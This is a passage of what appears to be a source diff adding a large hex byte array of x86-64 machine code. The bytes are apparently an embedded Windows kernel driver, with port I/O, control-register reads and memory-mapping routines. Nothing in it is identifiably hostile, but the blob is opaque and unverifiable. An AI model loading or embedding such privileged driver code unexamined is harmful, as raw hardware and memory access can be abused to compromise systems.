0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, + 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8D, 0x0D, 0xD9, 0x31, 0x00, 0x00, 0xE8, 0xC4, 0x06, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x4C, 0x8B, 0x47, + 0x28, 0x8B, 0x57, 0x1C, 0x8B, 0x4F, 0x18, 0x33, 0xDB, 0x4C, 0x8D, 0x4F, 0x20, 0x89, 0x5C, 0x24, 0x28, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xE8, 0x85, 0x0C, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, + 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x57, 0x18, 0x48, 0x8B, 0x4F, 0x10, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xE8, 0xAD, 0x0E, 0x00, 0x00, 0x33, 0xDB, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, + 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x4C, 0x8B, 0x4F, 0x30, 0x48, 0x8B, 0x57, 0x20, 0x4C, 0x8D, 0x47, 0x28, 0x48, 0x8D, 0x4F, 0x18, 0xE8, 0xD5, 0x10, 0x00, 0x00, 0x33, 0xDB, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, + 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x4C, 0x8B, 0x4F, 0x30, 0x44, 0x8B, 0x47, 0x28, 0x48, 0x8B, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0x0A, 0x09, 0x00, 0x00, 0x33, 0xDB, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, + 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xA7, 0x04, 0x00, 0x00, 0x33, 0xDB, 0x48, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, + 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xBB, 0x18, 0x20, 0x6A, 0xC8, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x66, 0x90, 0x02, 0x14, 0x00, 0x00, 0x21, 0x14, 0x00, 0x00, + 0x41, 0x14, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x60, 0x14, 0x00, 0x00, 0x83, 0x14, 0x00, 0x00, 0xA6, 0x14, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, + 0xC8, 0x14, 0x00, 0x00, 0xE7, 0x14, 0x00, 0x00, 0x07, 0x15, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x26, 0x15, 0x00, 0x00, 0x49, 0x15, 0x00, 0x00, 0x6C, 0x15, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, + 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x8E, 0x15, 0x00, 0x00, 0xB5, 0x15, 0x00, 0x00, 0xDC, 0x15, 0x00, 0x00, 0xF8, 0x15, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, + 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x2F, 0x16, 0x00, 0x00, 0x14, 0x16, 0x00, 0x00, 0x4A, 0x16, 0x00, 0x00, 0x6A, 0x16, 0x00, 0x00, 0x97, 0x16, 0x00, 0x00, 0xB7, 0x17, 0x00, 0x00, 0xD6, 0x17, 0x00, 0x00, 0xF5, 0x17, 0x00, 0x00, + 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, 0x3C, 0x18, 0x00, 0x00, 0xB8, 0x16, 0x00, 0x00, 0xFD, 0x16, 0x00, 0x00, 0x48, 0x17, 0x00, 0x00, 0x93, 0x17, 0x00, 0x00, 0x50, 0x19, 0x00, 0x00, + 0x50, 0x19, 0x00, 0x00, 0x1B, 0x18, 0x00, 0x00, 0x7D, 0x18, 0x00, 0x00, 0xB0, 0x18, 0x00, 0x00, 0xD6, 0x18, 0x00, 0x00, 0x01, 0x19, 0x00, 0x00, 0x2C, 0x19, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x53, 0x48, 0x81, 0xEC, 0x30, 0x01, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x48, 0x8B, 0xD9, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x01, 0x48, 0xFF, 0xC8, 0x48, 0x83, 0xF8, 0x06, 0x0F, 0x87, 0x5B, 0x01, + 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x6F, 0xE5, 0xFF, 0xFF, 0x8B, 0x84, 0x81, 0xF4, 0x1B, 0x00, 0x00, 0x48, 0x03, 0xC1, 0xFF, 0xE0, 0xE8, 0x9E, 0x1C, 0x00, 0x00, 0x66, 0x89, 0x43, 0x10, 0x33, 0xC0, 0x48, 0x81, 0xC4, 0x30, 0x01, 0x00, 0x00, 0x5B, + 0xC3, 0x48, 0x8D, 0x53, 0x14, 0x48, 0x8D, 0x4B, 0x18, 0xE8, 0x12, 0x1D, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xC0, 0x48, 0x81, 0xC4, 0x30, 0x01, 0x00, 0x00, 0x5B, 0xC3, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x53, 0x18, 0x41, 0xB8, 0x08, + 0x01, 0x00, 0x00, 0xE8, 0xD0, 0x27, 0x00, 0x00, 0x44, 0x8B, 0x83, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x93, 0x24, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0xB8, 0x1D, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xC0, 0x48, 0x81, 0xC4, + 0x30, 0x01, 0x00, 0x00, 0x5B, 0xC3, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x53, 0x18, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0xE8, 0x96, 0x27, 0x00, 0x00, 0x8B, 0x93, 0x20, 0x01, 0x00, 0x00, 0x4C, 0x8D, 0x83, 0x24, 0x01, 0x00, 0x00, 0x48, + 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0x4F, 0x1E, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xC0, 0x48, 0x81, 0xC4, 0x30, 0x01, 0x00, 0x00, 0x5B, 0xC3, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x53, 0x18, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0xE8, 0x5D, + 0x27, 0x00, 0x00, 0x44, 0x8B, 0x83, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x93, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0x96, 0x1E, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xC0, 0x48, 0x81, 0xC4, 0x30, 0x01, 0x00, 0x00, 0x5B, 0xC3, + 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x53, 0x18, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0xE8, 0x24, 0x27, 0x00, 0x00, 0x44, 0x8B, 0x8B, 0x28, 0x01, 0x00, 0x00, 0x44, 0x0F, 0xB6, 0x83, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x93, 0x20, 0x01, 0x00, + 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0x75, 0x1F, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xC0, 0x48, 0x81, 0xC4, 0x30, 0x01, 0x00, 0x00, 0x5B, 0xC3, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x53, 0x18, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, + 0xE8, 0xE3, 0x26, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0x29, 0x15, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xC0, 0x48, 0x81, 0xC4, 0x30, 0x01, 0x00, 0x00, 0x5B, 0xC3, 0xB8, 0x18, 0x20, 0x6A, 0xC8, 0x48, 0x81, 0xC4, 0x30, 0x01, 0x00, + 0x00, 0x5B, 0xC3, 0x90, 0x9D, 0x1A, 0x00, 0x00, 0xB1, 0x1A, 0x00, 0x00, 0xCC, 0x1A, 0x00, 0x00, 0x06, 0x1B, 0x00, 0x00, 0x3F, 0x1B, 0x00, 0x00, 0x78, 0x1B, 0x00, 0x00, 0xB9, 0x1B, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0xB7, 0xD1, 0xEC, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0xB7, 0xD1, 0x66, 0xED, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x0F, 0xB7, 0xD1, 0xED, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0xB6, 0xC2, 0x0F, 0xB7, 0xD1, 0xEE, 0xB0, 0x01, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0xB7, 0xC2, 0x0F, 0xB7, 0xD1, 0x66, 0xEF, + 0xB0, 0x01, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x8B, 0xC2, 0x0F, 0xB7, 0xD1, 0xEF, 0xB0, 0x01, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x85, 0xC9, 0x74, 0x04, 0x0F, 0xB6, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x85, 0xC9, 0x74, 0x04, 0x0F, 0xB7, 0x01, + 0xC3, 0x66, 0x33, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x85, 0xC9, 0x74, 0x03, 0x8B, 0x01, 0xC3, 0x33, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x85, 0xC9, 0x74, 0x0A, 0x88, 0x11, 0xF0, 0x83, 0x0C, 0x24, 0x00, 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x85, 0xC9, 0x74, 0x0B, 0x66, 0x89, 0x11, 0xF0, 0x83, 0x0C, 0x24, 0x00, 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x85, 0xC9, 0x74, 0x0A, 0x89, 0x11, 0xF0, 0x83, 0x0C, 0x24, 0x00, 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0xB8, 0x1F, 0x85, 0xEB, + 0x51, 0x48, 0x89, 0x5C, 0x24, 0x40, 0x8B, 0xD9, 0xF7, 0xE1, 0xC1, 0xEA, 0x04, 0x74, 0x21, 0x48, 0x89, 0x7C, 0x24, 0x48, 0x8B, 0xFA, 0x66, 0x90, 0xB9, 0x32, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x85, 0x42, 0x00, 0x00, 0x83, 0xC3, 0xCE, 0x48, 0xFF, + 0xCF, 0x75, 0xED, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x85, 0xDB, 0x74, 0x08, 0x8B, 0xCB, 0xFF, 0x15, 0x6C, 0x42, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x33, 0xC9, 0x48, 0xFF, 0x25, 0x4F, 0x42, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x85, 0xC9, 0x74, 0x08, 0x33, 0xD2, 0xFF, 0x15, 0x67, 0x42, 0x00, + 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x85, 0xD2, 0x74, 0x6D, 0x45, 0x33, 0xC9, 0x48, 0x8D, 0x05, 0x91, 0x53, 0x00, 0x00, 0x4C, 0x8D, 0x15, 0x0A, 0xE2, 0xFF, 0xFF, 0x45, 0x33, + 0xC0, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x4B, 0x39, 0x94, 0x10, 0x60, 0x7A, 0x3D, 0x00, 0x75, 0x0A, 0x4B, 0x3B, 0x8C, 0x10, 0x40, 0x7A, 0x3D, 0x00, 0x74, 0x21, 0x48, 0x39, 0x50, 0x08, 0x75, 0x05, 0x48, 0x3B, 0x08, 0x74, 0x24, 0x49, + 0x83, 0xC0, 0x28, 0x49, 0xFF, 0xC1, 0x48, 0x83, 0xC0, 0x50, 0x49, 0x81, 0xF8, 0x80, 0x84, 0x1E, 0x00, 0x72, 0xCD, 0xEB, 0x1D, 0x4B, 0x8D, 0x04, 0x89, 0x49, 0x8B, 0x8C, 0xC2, 0x48, 0x7A, 0x3D, 0x00, 0xEB, 0x0F, 0x4B, 0x8D, 0x04, 0x89, 0x48, + 0x03, 0xC0, 0x49, 0x8B, 0x8C, 0xC2, 0x50, 0x71, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x74, 0x07, 0x48, 0xFF, 0x25, 0xE2, 0x41, 0x00, 0x00, 0x33, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x0F, 0x20, 0xC0, 0x3C, 0x02, 0x77, 0x08, 0x0F, 0xB6, 0xD2, 0xE8, 0x77, 0x27, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x0F, 0x20, 0xC0, 0x3C, 0x02, 0x77, 0x05, 0xE8, 0xFA, 0x23, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x85, 0xC9, 0x74, 0x0C, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x0F, 0xC1, 0x01, 0xFF, 0xC0, 0xC3, 0x33, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x85, 0xC9, 0x74, 0x0C, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xC1, 0x01, 0xFF, 0xC8, 0xC3, 0x33, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x85, 0xC9, 0x74, 0x08, 0x8B, 0xC2, 0xF0, 0x44, 0x0F, 0xB1, 0x01, 0xC3, 0x33, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x89, 0x54, + 0x24, 0x10, 0x4C, 0x89, 0x44, 0x24, 0x18, 0x4C, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x81, 0xEC, 0x38, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xB6, 0x51, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x20, 0x04, 0x00, 0x00, 0x80, 0x3D, 0xC7, 0x51, 0x00, 0x00, + 0x01, 0x75, 0x72, 0x48, 0x85, 0xC9, 0x74, 0x6D, 0x48, 0x8B, 0xD1, 0x4C, 0x8D, 0x84, 0x24, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x20, 0x02, 0x00, 0x00, 0xFF, 0x15, 0xD7, 0x40, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xB8, 0x2B, 0x00, 0x00, + 0x4C, 0x8D, 0x5C, 0x24, 0x20, 0x49, 0x89, 0x03, 0x0F, 0xB6, 0x05, 0xB1, 0x2B, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x28, 0x41, 0xB8, 0xF3, 0x01, 0x00, 0x00, 0x41, 0x88, 0x43, 0x08, 0xFF, 0x15, + 0x9C, 0x40, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0x32, 0x27, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, 0x8C, 0x24, 0x20, 0x04, 0x00, 0x00, 0xE8, 0x43, 0x27, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x38, 0x04, 0x00, 0x00, 0xC3, 0xB8, 0x0B, 0x80, + 0x6A, 0xC8, 0x48, 0x8B, 0x8C, 0x24, 0x20, 0x04, 0x00, 0x00, 0xE8, 0x29, 0x27, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x38, 0x04, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x88, 0x0D, 0x22, 0x51, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x85, 0xC9, 0x74, 0x07, 0x48, 0xFF, 0x25, 0x24, 0x40, 0x00, 0x00, 0x33, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x83, 0xEC, 0x58, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x33, 0xF6, 0x4C, 0x89, 0x60, 0xF8, 0x4C, 0x89, 0x68, + 0xF0, 0x4D, 0x8B, 0xE0, 0x8B, 0xFA, 0x8B, 0xDE, 0x89, 0x70, 0xD8, 0x48, 0x8B, 0xE9, 0x4C, 0x8D, 0x2D, 0xDB, 0x59, 0x3D, 0x00, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x8B, 0xC3, 0x48, 0x8D, 0x4C, 0x24, 0x30, 0x4C, + 0x8D, 0x0C, 0x80, 0x33, 0xC0, 0xF0, 0x4B, 0x0F, 0xB1, 0x4C, 0xCD, 0x18, 0x74, 0x14, 0x8B, 0x5C, 0x24, 0x30, 0xFF, 0xC3, 0x81, 0xFB, 0x50, 0xC3, 0x00, 0x00, 0x89, 0x5C, 0x24, 0x30, 0x72, 0xD8, 0xEB, 0x04, 0x8B, 0x5C, 0x24, 0x30, 0x44, 0x8B, + 0xC2, 0x48, 0x8D, 0x0D, 0xC8, 0x2B, 0x00, 0x00, 0x8B, 0xD3, 0xE8, 0x81, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x7A, 0x2B, 0x00, 0x00, 0xBA, 0x00, 0x9E, 0xFF, 0x01, 0xE8, 0x70, 0xFE, 0xFF, 0xFF, 0x81, 0xFB, 0x50, 0xC3, 0x00, 0x00, 0x0F, 0x83, + 0xC5, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x1D, 0x2B, 0x00, 0x00, 0x48, 0x8B, 0xD5, 0xE8, 0x55, 0xFE, 0xFF, 0xFF, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x8B, 0xD7, 0x48, 0x8B, 0xCD, 0x48, 0x89, 0x74, 0x24, 0x20, 0xFF, 0x15, 0x87, 0x3F, 0x00, + 0x00, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xF8, 0x0F, 0x84, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x6A, 0x3F, 0x00, 0x00, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xCF, 0x41, 0x0F, 0xB6, 0xD0, 0xC7, 0x44, + 0x24, 0x28, 0x10, 0x00, 0x00, 0x00, 0x89, 0x74, 0x24, 0x20, 0xFF, 0x15, 0x40, 0x3F, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x48, 0x8B, 0xF0, 0x75, 0x17, 0x48, 0x8D, 0x0D, 0x79, 0x2A, 0x00, 0x00, 0xE8, 0xF4, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0xCF, 0xFF, + 0x15, 0x1B, 0x3F, 0x00, 0x00, 0xEB, 0x4A, 0x48, 0x8D, 0x0D, 0x32, 0x2A, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0xE8, 0xDA, 0xFD, 0xFF, 0xFF, 0x44, 0x8B, 0xDB, 0x4B, 0x8D, 0x0C, 0x9B, 0x49, 0x89, 0x74, 0xCD, 0x18, 0x49, 0x89, 0x7C, 0xCD, 0x10, 0x49, + 0x89, 0x6C, 0xCD, 0x08, 0x4D, 0x89, 0x64, 0xCD, 0x20, 0x8B, 0x47, 0x2C, 0x48, 0x81, 0xE6, 0x00, 0xF0, 0xFF, 0xFF, 0x48, 0x03, 0xC6, 0x49, 0x89, 0x44, 0xCD, 0x00, 0xEB, 0x0F, 0x48, 0x8D, 0x0D, 0xC4, 0x29, 0x00, 0x00, 0xE8, 0x9F, 0xFD, 0xFF, + 0xFF, 0x48, 0x8B, 0xC6, 0x4C, 0x8B, 0x6C, 0x24, 0x48, 0x4C, 0x8B, 0x64, 0x24, 0x50, 0x48, 0x8B, 0x7C, 0x24, 0x78, 0x48, 0x8B, 0x74, 0x24, 0x70, 0x48, 0x8B, 0x6C, 0x24, 0x68, 0x48, 0x8B, 0x5C, 0x24, 0x60, 0x48, 0x83, 0xC4, 0x58, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x85, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x48, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x48, 0x8B, 0xF9, 0x41, 0x8B, 0xD8, 0x74, 0x23, 0x45, 0x85, 0xC0, 0x74, 0x1E, 0x48, 0x8B, + 0xD1, 0x48, 0x8D, 0x0D, 0xD8, 0x2A, 0x00, 0x00, 0x44, 0x8B, 0xC3, 0xE8, 0x40, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x84, 0x3E, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x20, 0x48, 0x8B, 0x5C, 0x24, 0x48, 0x33, 0xC0, + 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x83, 0xEC, 0x58, 0x48, 0x85, 0xC9, 0x48, 0x89, 0x68, 0xF0, 0x48, 0x89, + 0x70, 0xE8, 0x4C, 0x89, 0x60, 0xD8, 0x49, 0x8B, 0xE9, 0x48, 0x8B, 0xF1, 0x45, 0x8B, 0xE0, 0x0F, 0x84, 0x5C, 0x01, 0x00, 0x00, 0x45, 0x85, 0xC0, 0x0F, 0x84, 0x53, 0x01, 0x00, 0x00, 0x48, 0x89, 0x58, 0xF8, 0x48, 0x89, 0x78, 0xE0, 0x48, 0x8B, + 0xD1, 0x4C, 0x89, 0x68, 0xD0, 0x48, 0x8D, 0x0D, 0x8C, 0x2C, 0x00, 0x00, 0x45, 0x8B, 0xC4, 0x4C, 0x89, 0x70, 0xC8, 0xE8, 0xC0, 0xFC, 0xFF, 0xFF, 0x4C, 0x8D, 0x2D, 0xC9, 0x57, 0x3D, 0x00, 0x45, 0x33, 0xF6, 0x49, 0x8B, 0xDD, 0x41, 0x8B, 0xFE, + 0x4C, 0x8B, 0x03, 0x48, 0x8D, 0x0D, 0x16, 0x2C, 0x00, 0x00, 0x4C, 0x8B, 0xCE, 0x8B, 0xD7, 0xE8, 0x9C, 0xFC, 0xFF, 0xFF, 0x48, 0x3B, 0x6B, 0x20, 0x75, 0x05, 0x48, 0x3B, 0x33, 0x74, 0x13, 0xFF, 0xC7, 0x48, 0x83, 0xC3, 0x28, 0x81, 0xFF, 0x50, + 0xC3, 0x00, 0x00, 0x72, 0xD3, 0xE9, 0xAA, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xB7, 0x2B, 0x00, 0x00, 0x8B, 0xD7, 0xE8, 0x70, 0xFC, 0xFF, 0xFF, 0x44, 0x8B, 0xDF, 0x4B, 0x8D, 0x1C, 0x9B, 0x4D, 0x39, 0x74, 0xDD, 0x10, 0x74, 0x30, 0x4D, 0x39, + 0x74, 0xDD, 0x18, 0x74, 0x29, 0x48, 0x8D, 0x0D, 0x64, 0x2B, 0x00, 0x00, 0xE8, 0x4F, 0xFC, 0xFF, 0xFF, 0x49, 0x8B, 0x54, 0xDD, 0x10, 0x49, 0x8B, 0x4C, 0xDD, 0x18, 0xFF, 0x15, 0x97, 0x3D, 0x00, 0x00, 0x49, 0x8B, 0x4C, 0xDD, 0x10, 